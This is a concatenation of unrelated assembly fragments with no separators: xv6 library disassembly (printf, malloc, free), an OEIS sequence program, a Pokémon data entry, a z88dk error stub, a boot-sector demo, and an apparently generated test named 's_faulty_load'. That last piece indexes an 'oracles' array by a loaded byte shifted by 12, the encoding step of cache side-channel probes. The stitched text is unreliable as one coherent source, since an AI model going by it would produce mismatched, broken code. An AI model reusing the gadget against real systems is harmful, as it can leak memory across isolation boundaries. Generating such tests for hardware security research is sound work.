ret 00000602 <getpid>: SYSCALL(getpid) 602: b8 0b 00 00 00 mov $0xb,%eax 607: cd 40 int $0x40 609: c3 ret 0000060a <sbrk>: SYSCALL(sbrk) 60a: b8 0c 00 00 00 mov $0xc,%eax 60f: cd 40 int $0x40 611: c3 ret 00000612 <sleep>: SYSCALL(sleep) 612: b8 0d 00 00 00 mov $0xd,%eax 617: cd 40 int $0x40 619: c3 ret 0000061a <uptime>: SYSCALL(uptime) 61a: b8 0e 00 00 00 mov $0xe,%eax 61f: cd 40 int $0x40 621: c3 ret 00000622 <getyear>: SYSCALL(getyear) 622: b8 16 00 00 00 mov $0x16,%eax 627: cd 40 int $0x40 629: c3 ret 0000062a <runtime>: SYSCALL(runtime) 62a: b8 17 00 00 00 mov $0x17,%eax 62f: cd 40 int $0x40 631: c3 ret 00000632 <waittime>: SYSCALL(waittime) 632: b8 18 00 00 00 mov $0x18,%eax 637: cd 40 int $0x40 639: c3 ret 0000063a <turntime>: SYSCALL(turntime) 63a: b8 19 00 00 00 mov $0x19,%eax 63f: cd 40 int $0x40 641: c3 ret 642: 66 90 xchg %ax,%ax 644: 66 90 xchg %ax,%ax 646: 66 90 xchg %ax,%ax 648: 66 90 xchg %ax,%ax 64a: 66 90 xchg %ax,%ax 64c: 66 90 xchg %ax,%ax 64e: 66 90 xchg %ax,%ax 00000650 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 650: 55 push %ebp 651: 89 e5 mov %esp,%ebp 653: 57 push %edi 654: 56 push %esi 655: 53 push %ebx 656: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 659: 85 d2 test %edx,%edx { 65b: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 65e: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 660: 79 76 jns 6d8 <printint+0x88> 662: f6 45 08 01 testb $0x1,0x8(%ebp) 666: 74 70 je 6d8 <printint+0x88> x = -xx; 668: f7 d8 neg %eax neg = 1; 66a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 671: 31 f6 xor %esi,%esi 673: 8d 5d d7 lea -0x29(%ebp),%ebx 676: eb 0a jmp 682 <printint+0x32> 678: 90 nop 679: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do{ buf[i++] = digits[x % base]; 680: 89 fe mov %edi,%esi 682: 31 d2 xor %edx,%edx 684: 8d 7e 01 lea 0x1(%esi),%edi 687: f7 f1 div %ecx 689: 0f b6 92 88 0a 00 00 movzbl 0xa88(%edx),%edx }while((x /= base) != 0); 690: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 692: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 695: 75 e9 jne 680 <printint+0x30> if(neg) 697: 8b 45 c4 mov -0x3c(%ebp),%eax 69a: 85 c0 test %eax,%eax 69c: 74 08 je 6a6 <printint+0x56> buf[i++] = '-'; 69e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 6a3: 8d 7e 02 lea 0x2(%esi),%edi 6a6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 6aa: 8b 7d c0 mov -0x40(%ebp),%edi 6ad: 8d 76 00 lea 0x0(%esi),%esi 6b0: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 6b3: 83 ec 04 sub $0x4,%esp 6b6: 83 ee 01 sub $0x1,%esi 6b9: 6a 01 push $0x1 6bb: 53 push %ebx 6bc: 57 push %edi 6bd: 88 45 d7 mov %al,-0x29(%ebp) 6c0: e8 dd fe ff ff call 5a2 <write> while(--i >= 0) 6c5: 83 c4 10 add $0x10,%esp 6c8: 39 de cmp %ebx,%esi 6ca: 75 e4 jne 6b0 <printint+0x60> putc(fd, buf[i]); } 6cc: 8d 65 f4 lea -0xc(%ebp),%esp 6cf: 5b pop %ebx 6d0: 5e pop %esi 6d1: 5f pop %edi 6d2: 5d pop %ebp 6d3: c3 ret 6d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 6d8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 6df: eb 90 jmp 671 <printint+0x21> 6e1: eb 0d jmp 6f0 <printf> 6e3: 90 nop 6e4: 90 nop 6e5: 90 nop 6e6: 90 nop 6e7: 90 nop 6e8: 90 nop 6e9: 90 nop 6ea: 90 nop 6eb: 90 nop 6ec: 90 nop 6ed: 90 nop 6ee: 90 nop 6ef: 90 nop 000006f0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 6f0: 55 push %ebp 6f1: 89 e5 mov %esp,%ebp 6f3: 57 push %edi 6f4: 56 push %esi 6f5: 53 push %ebx 6f6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 6f9: 8b 75 0c mov 0xc(%ebp),%esi 6fc: 0f b6 1e movzbl (%esi),%ebx 6ff: 84 db test %bl,%bl 701: 0f 84 b3 00 00 00 je 7ba <printf+0xca> ap = (uint*)(void*)&fmt + 1; 707: 8d 45 10 lea 0x10(%ebp),%eax 70a: 83 c6 01 add $0x1,%esi state = 0; 70d: 31 ff xor %edi,%edi ap = (uint*)(void*)&fmt + 1; 70f: 89 45 d4 mov %eax,-0x2c(%ebp) 712: eb 2f jmp 743 <printf+0x53> 714: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 718: 83 f8 25 cmp $0x25,%eax 71b: 0f 84 a7 00 00 00 je 7c8 <printf+0xd8> write(fd, &c, 1); 721: 8d 45 e2 lea -0x1e(%ebp),%eax 724: 83 ec 04 sub $0x4,%esp 727: 88 5d e2 mov %bl,-0x1e(%ebp) 72a: 6a 01 push $0x1 72c: 50 push %eax 72d: ff 75 08 pushl 0x8(%ebp) 730: e8 6d fe ff ff call 5a2 <write> 735: 83 c4 10 add $0x10,%esp 738: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 73b: 0f b6 5e ff movzbl -0x1(%esi),%ebx 73f: 84 db test %bl,%bl 741: 74 77 je 7ba <printf+0xca> if(state == 0){ 743: 85 ff test %edi,%edi c = fmt[i] & 0xff; 745: 0f be cb movsbl %bl,%ecx 748: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 74b: 74 cb je 718 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 74d: 83 ff 25 cmp $0x25,%edi 750: 75 e6 jne 738 <printf+0x48> if(c == 'd'){ 752: 83 f8 64 cmp $0x64,%eax 755: 0f 84 05 01 00 00 je 860 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 75b: 81 e1 f7 00 00 00 and $0xf7,%ecx 761: 83 f9 70 cmp $0x70,%ecx 764: 74 72 je 7d8 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 766: 83 f8 73 cmp $0x73,%eax 769: 0f 84 99 00 00 00 je 808 <printf+0x118> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 76f: 83 f8 63 cmp $0x63,%eax 772: 0f 84 08 01 00 00 je 880 <printf+0x190> putc(fd, *ap); ap++; } else if(c == '%'){ 778: 83 f8 25 cmp $0x25,%eax 77b: 0f 84 ef 00 00 00 je 870 <printf+0x180> write(fd, &c, 1); 781: 8d 45 e7 lea -0x19(%ebp),%eax 784: 83 ec 04 sub $0x4,%esp 787: c6 45 e7 25 movb $0x25,-0x19(%ebp) 78b: 6a 01 push $0x1 78d: 50 push %eax 78e: ff 75 08 pushl 0x8(%ebp) 791: e8 0c fe ff ff call 5a2 <write> 796: 83 c4 0c add $0xc,%esp 799: 8d 45 e6 lea -0x1a(%ebp),%eax 79c: 88 5d e6 mov %bl,-0x1a(%ebp) 79f: 6a 01 push $0x1 7a1: 50 push %eax 7a2: ff 75 08 pushl 0x8(%ebp) 7a5: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 7a8: 31 ff xor %edi,%edi write(fd, &c, 1); 7aa: e8 f3 fd ff ff call 5a2 <write> for(i = 0; fmt[i]; i++){ 7af: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 7b3: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 7b6: 84 db test %bl,%bl 7b8: 75 89 jne 743 <printf+0x53> } } } 7ba: 8d 65 f4 lea -0xc(%ebp),%esp 7bd: 5b pop %ebx 7be: 5e pop %esi 7bf: 5f pop %edi 7c0: 5d pop %ebp 7c1: c3 ret 7c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 7c8: bf 25 00 00 00 mov $0x25,%edi 7cd: e9 66 ff ff ff jmp 738 <printf+0x48> 7d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 7d8: 83 ec 0c sub $0xc,%esp 7db: b9 10 00 00 00 mov $0x10,%ecx 7e0: 6a 00 push $0x0 7e2: 8b 7d d4 mov -0x2c(%ebp),%edi 7e5: 8b 45 08 mov 0x8(%ebp),%eax 7e8: 8b 17 mov (%edi),%edx 7ea: e8 61 fe ff ff call 650 <printint> ap++; 7ef: 89 f8 mov %edi,%eax 7f1: 83 c4 10 add $0x10,%esp state = 0; 7f4: 31 ff xor %edi,%edi ap++; 7f6: 83 c0 04 add $0x4,%eax 7f9: 89 45 d4 mov %eax,-0x2c(%ebp) 7fc: e9 37 ff ff ff jmp 738 <printf+0x48> 801: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 808: 8b 45 d4 mov -0x2c(%ebp),%eax 80b: 8b 08 mov (%eax),%ecx ap++; 80d: 83 c0 04 add $0x4,%eax 810: 89 45 d4 mov %eax,-0x2c(%ebp) if(s == 0) 813: 85 c9 test %ecx,%ecx 815: 0f 84 8e 00 00 00 je 8a9 <printf+0x1b9> while(*s != 0){ 81b: 0f b6 01 movzbl (%ecx),%eax state = 0; 81e: 31 ff xor %edi,%edi s = (char*)*ap; 820: 89 cb mov %ecx,%ebx while(*s != 0){ 822: 84 c0 test %al,%al 824: 0f 84 0e ff ff ff je 738 <printf+0x48> 82a: 89 75 d0 mov %esi,-0x30(%ebp) 82d: 89 de mov %ebx,%esi 82f: 8b 5d 08 mov 0x8(%ebp),%ebx 832: 8d 7d e3 lea -0x1d(%ebp),%edi 835: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 838: 83 ec 04 sub $0x4,%esp s++; 83b: 83 c6 01 add $0x1,%esi 83e: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 841: 6a 01 push $0x1 843: 57 push %edi 844: 53 push %ebx 845: e8 58 fd ff ff call 5a2 <write> while(*s != 0){ 84a: 0f b6 06 movzbl (%esi),%eax 84d: 83 c4 10 add $0x10,%esp 850: 84 c0 test %al,%al 852: 75 e4 jne 838 <printf+0x148> 854: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 857: 31 ff xor %edi,%edi 859: e9 da fe ff ff jmp 738 <printf+0x48> 85e: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 860: 83 ec 0c sub $0xc,%esp 863: b9 0a 00 00 00 mov $0xa,%ecx 868: 6a 01 push $0x1 86a: e9 73 ff ff ff jmp 7e2 <printf+0xf2> 86f: 90 nop write(fd, &c, 1); 870: 83 ec 04 sub $0x4,%esp 873: 88 5d e5 mov %bl,-0x1b(%ebp) 876: 8d 45 e5 lea -0x1b(%ebp),%eax 879: 6a 01 push $0x1 87b: e9 21 ff ff ff jmp 7a1 <printf+0xb1> putc(fd, *ap); 880: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 883: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 886: 8b 07 mov (%edi),%eax write(fd, &c, 1); 888: 6a 01 push $0x1 ap++; 88a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 88d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 890: 8d 45 e4 lea -0x1c(%ebp),%eax 893: 50 push %eax 894: ff 75 08 pushl 0x8(%ebp) 897: e8 06 fd ff ff call 5a2 <write> ap++; 89c: 89 7d d4 mov %edi,-0x2c(%ebp) 89f: 83 c4 10 add $0x10,%esp state = 0; 8a2: 31 ff xor %edi,%edi 8a4: e9 8f fe ff ff jmp 738 <printf+0x48> s = "(null)"; 8a9: bb 7e 0a 00 00 mov $0xa7e,%ebx while(*s != 0){ 8ae: b8 28 00 00 00 mov $0x28,%eax 8b3: e9 72 ff ff ff jmp 82a <printf+0x13a> 8b8: 66 90 xchg %ax,%ax 8ba: 66 90 xchg %ax,%ax 8bc: 66 90 xchg %ax,%ax 8be: 66 90 xchg %ax,%ax 000008c0 <free>: static Header base; static Header *freep; void free(void *ap) { 8c0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 8c1: a1 20 0e 00 00 mov 0xe20,%eax { 8c6: 89 e5 mov %esp,%ebp 8c8: 57 push %edi 8c9: 56 push %esi 8ca: 53 push %ebx 8cb: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header*)ap - 1; 8ce: 8d 4b f8 lea -0x8(%ebx),%ecx 8d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 8d8: 39 c8 cmp %ecx,%eax 8da: 8b 10 mov (%eax),%edx 8dc: 73 32 jae 910 <free+0x50> 8de: 39 d1 cmp %edx,%ecx 8e0: 72 04 jb 8e6 <free+0x26> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 8e2: 39 d0 cmp %edx,%eax 8e4: 72 32 jb 918 <free+0x58> break; if(bp + bp->s.size == p->s.ptr){ 8e6: 8b 73 fc mov -0x4(%ebx),%esi 8e9: 8d 3c f1 lea (%ecx,%esi,8),%edi 8ec: 39 fa cmp %edi,%edx 8ee: 74 30 je 920 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 8f0: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 8f3: 8b 50 04 mov 0x4(%eax),%edx 8f6: 8d 34 d0 lea (%eax,%edx,8),%esi 8f9: 39 f1 cmp %esi,%ecx 8fb: 74 3a je 937 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 8fd: 89 08 mov %ecx,(%eax) freep = p; 8ff: a3 20 0e 00 00 mov %eax,0xe20 } 904: 5b pop %ebx 905: 5e pop %esi 906: 5f pop %edi 907: 5d pop %ebp 908: c3 ret 909: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 910: 39 d0 cmp %edx,%eax 912: 72 04 jb 918 <free+0x58> 914: 39 d1 cmp %edx,%ecx 916: 72 ce jb 8e6 <free+0x26> { 918: 89 d0 mov %edx,%eax 91a: eb bc jmp 8d8 <free+0x18> 91c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 920: 03 72 04 add 0x4(%edx),%esi 923: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 926: 8b 10 mov (%eax),%edx 928: 8b 12 mov (%edx),%edx 92a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 92d: 8b 50 04 mov 0x4(%eax),%edx 930: 8d 34 d0 lea (%eax,%edx,8),%esi 933: 39 f1 cmp %esi,%ecx 935: 75 c6 jne 8fd <free+0x3d> p->s.size += bp->s.size; 937: 03 53 fc add -0x4(%ebx),%edx freep = p; 93a: a3 20 0e 00 00 mov %eax,0xe20 p->s.size += bp->s.size; 93f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 942: 8b 53 f8 mov -0x8(%ebx),%edx 945: 89 10 mov %edx,(%eax) } 947: 5b pop %ebx 948: 5e pop %esi 949: 5f pop %edi 94a: 5d pop %ebp 94b: c3 ret 94c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000950 <malloc>: return freep; } void* malloc(uint nbytes) { 950: 55 push %ebp 951: 89 e5 mov %esp,%ebp 953: 57 push %edi 954: 56 push %esi 955: 53 push %ebx 956: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 959: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 95c: 8b 15 20 0e 00 00 mov 0xe20,%edx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 962: 8d 78 07 lea 0x7(%eax),%edi 965: c1 ef 03 shr $0x3,%edi 968: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 96b: 85 d2 test %edx,%edx 96d: 0f 84 9d 00 00 00 je a10 <malloc+0xc0> 973: 8b 02 mov (%edx),%eax 975: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 978: 39 cf cmp %ecx,%edi 97a: 76 6c jbe 9e8 <malloc+0x98> 97c: 81 ff 00 10 00 00 cmp $0x1000,%edi 982: bb 00 10 00 00 mov $0x1000,%ebx 987: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 98a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 991: eb 0e jmp 9a1 <malloc+0x51> 993: 90 nop 994: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 998: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 99a: 8b 48 04 mov 0x4(%eax),%ecx 99d: 39 f9 cmp %edi,%ecx 99f: 73 47 jae 9e8 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 9a1: 39 05 20 0e 00 00 cmp %eax,0xe20 9a7: 89 c2 mov %eax,%edx 9a9: 75 ed jne 998 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 9ab: 83 ec 0c sub $0xc,%esp 9ae: 56 push %esi 9af: e8 56 fc ff ff call 60a <sbrk> if(p == (char*)-1) 9b4: 83 c4 10 add $0x10,%esp 9b7: 83 f8 ff cmp $0xffffffff,%eax 9ba: 74 1c je 9d8 <malloc+0x88> hp->s.size = nu; 9bc: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 9bf: 83 ec 0c sub $0xc,%esp 9c2: 83 c0 08 add $0x8,%eax 9c5: 50 push %eax 9c6: e8 f5 fe ff ff call 8c0 <free> return freep; 9cb: 8b 15 20 0e 00 00 mov 0xe20,%edx if((p = morecore(nunits)) == 0) 9d1: 83 c4 10 add $0x10,%esp 9d4: 85 d2 test %edx,%edx 9d6: 75 c0 jne 998 <malloc+0x48> return 0; } } 9d8: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 9db: 31 c0 xor %eax,%eax } 9dd: 5b pop %ebx 9de: 5e pop %esi 9df: 5f pop %edi 9e0: 5d pop %ebp 9e1: c3 ret 9e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 9e8: 39 cf cmp %ecx,%edi 9ea: 74 54 je a40 <malloc+0xf0> p->s.size -= nunits; 9ec: 29 f9 sub %edi,%ecx 9ee: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 9f1: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 9f4: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 9f7: 89 15 20 0e 00 00 mov %edx,0xe20 } 9fd: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); a00: 83 c0 08 add $0x8,%eax } a03: 5b pop %ebx a04: 5e pop %esi a05: 5f pop %edi a06: 5d pop %ebp a07: c3 ret a08: 90 nop a09: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; a10: c7 05 20 0e 00 00 24 movl $0xe24,0xe20 a17: 0e 00 00 a1a: c7 05 24 0e 00 00 24 movl $0xe24,0xe24 a21: 0e 00 00 base.s.size = 0; a24: b8 24 0e 00 00 mov $0xe24,%eax a29: c7 05 28 0e 00 00 00 movl $0x0,0xe28 a30: 00 00 00 a33: e9 44 ff ff ff jmp 97c <malloc+0x2c> a38: 90 nop a39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi prevp->s.ptr = p->s.ptr; a40: 8b 08 mov (%eax),%ecx a42: 89 0a mov %ecx,(%edx) a44: eb b1 jmp 9f7 <malloc+0xa7>
; A166956: a(n) = 2^n +(-1)^n - 2. ; 0,-1,3,5,15,29,63,125,255,509,1023,2045,4095,8189,16383,32765,65535,131069,262143,524285,1048575,2097149,4194303,8388605,16777215,33554429,67108863,134217725,268435455,536870909,1073741823,2147483645,4294967295,8589934589,17179869183,34359738365,68719476735,137438953469,274877906943,549755813885,1099511627775,2199023255549,4398046511103,8796093022205,17592186044415,35184372088829,70368744177663,140737488355325,281474976710655,562949953421309,1125899906842623,2251799813685245,4503599627370495,9007199254740989,18014398509481983,36028797018963965,72057594037927935,144115188075855869,288230376151711743,576460752303423485,1152921504606846975,2305843009213693949,4611686018427387903,9223372036854775805,18446744073709551615,36893488147419103229,73786976294838206463,147573952589676412925,295147905179352825855,590295810358705651709,1180591620717411303423,2361183241434822606845,4722366482869645213695,9444732965739290427389,18889465931478580854783,37778931862957161709565,75557863725914323419135,151115727451828646838269,302231454903657293676543,604462909807314587353085,1208925819614629174706175,2417851639229258349412349,4835703278458516698824703,9671406556917033397649405,19342813113834066795298815,38685626227668133590597629,77371252455336267181195263,154742504910672534362390525,309485009821345068724781055,618970019642690137449562109,1237940039285380274899124223,2475880078570760549798248445,4951760157141521099596496895,9903520314283042199192993789,19807040628566084398385987583,39614081257132168796771975165,79228162514264337593543950335,158456325028528675187087900669,316912650057057350374175801343,633825300114114700748351602685 mov $1,2 pow $1,$0 mod $0,2 mul $0,2 add $1,4 sub $1,$0 sub $1,5 mov $0,$1
db "HERB@" ; species name dw 511, 2220 ; height, weight db "Anyone who stands" next "beside it becomes" next "refreshed, just as" page "if they were" next "relaxing in a" next "sunny forest.@"
INCLUDE "clib_cfg.asm" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_ERROR ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; verbose mode SECTION code_clib SECTION code_error PUBLIC error_efbig_zc EXTERN error_efbig_mc pop hl error_efbig_zc: ; set hl = 0 ; set carry flag ; set errno = EFBIG call error_efbig_mc inc hl ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; SECTION code_clib SECTION code_error PUBLIC error_efbig_zc EXTERN errno_zc defc error_efbig_zc = errno_zc - 2 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
[org 0x7c00] mov ah, 0x0e mov al, "1" int 0x10 mov al, the_secret int 0x10 mov al, "2" int 0x10 mov al, [the_secret] int 0x10 mov al, "3" int 0x10 mov bx, the_secret add bx, 0x7c00 mov al, [bx] int 0x10 mov al, "4" int 0x10 mov al, [0x7c2d] int 0x10 jmp $ the_secret: db "X" times 510 - ($ - $$) db 0 dw 0xaa55
.global s_prepare_buffers s_prepare_buffers: push %r8 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_UC_ht+0xf3a9, %rsi lea addresses_WT_ht+0x14fdb, %rdi nop nop nop nop nop and $52172, %rax mov $32, %rcx rep movsq nop nop add $1076, %rsi lea addresses_WC_ht+0xd1f, %r8 nop nop nop nop nop add $13479, %rax movl $0x61626364, (%r8) nop nop nop sub %rax, %rax lea addresses_WC_ht+0x1065b, %rsi dec %rbp vmovups (%rsi), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %r9 nop cmp %rsi, %rsi lea addresses_UC_ht+0x13f5b, %rax nop nop nop nop sub %rdi, %rdi mov $0x6162636465666768, %r8 movq %r8, %xmm0 movups %xmm0, (%rax) xor %rsi, %rsi lea addresses_D_ht+0x190b, %rdi dec %rax movb (%rdi), %cl nop nop nop nop dec %rcx lea addresses_WC_ht+0x13203, %r8 nop nop nop and %rsi, %rsi movups (%r8), %xmm2 vpextrq $1, %xmm2, %rdi nop nop nop dec %rbp lea addresses_A_ht+0x4f03, %rsi lea addresses_A_ht+0x1735b, %rdi nop nop nop xor $48324, %r9 mov $81, %rcx rep movsw xor $37011, %rcx lea addresses_normal_ht+0x60a1, %r9 nop nop xor %rdi, %rdi mov (%r9), %r8d nop nop nop nop nop and %r9, %r9 lea addresses_UC_ht+0x13f5b, %r9 clflush (%r9) nop nop nop and %rdi, %rdi vmovups (%r9), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %rsi nop nop nop nop nop lfence pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r8 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %rbx push %rcx push %rdi // Faulty Load lea addresses_normal+0x1365b, %rcx inc %r12 mov (%rcx), %r14w lea oracles, %r12 and $0xff, %r14 shlq $12, %r14 mov (%r12,%r14,1), %r14 pop %rdi pop %rcx pop %rbx pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': True}} {'34': 21713} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 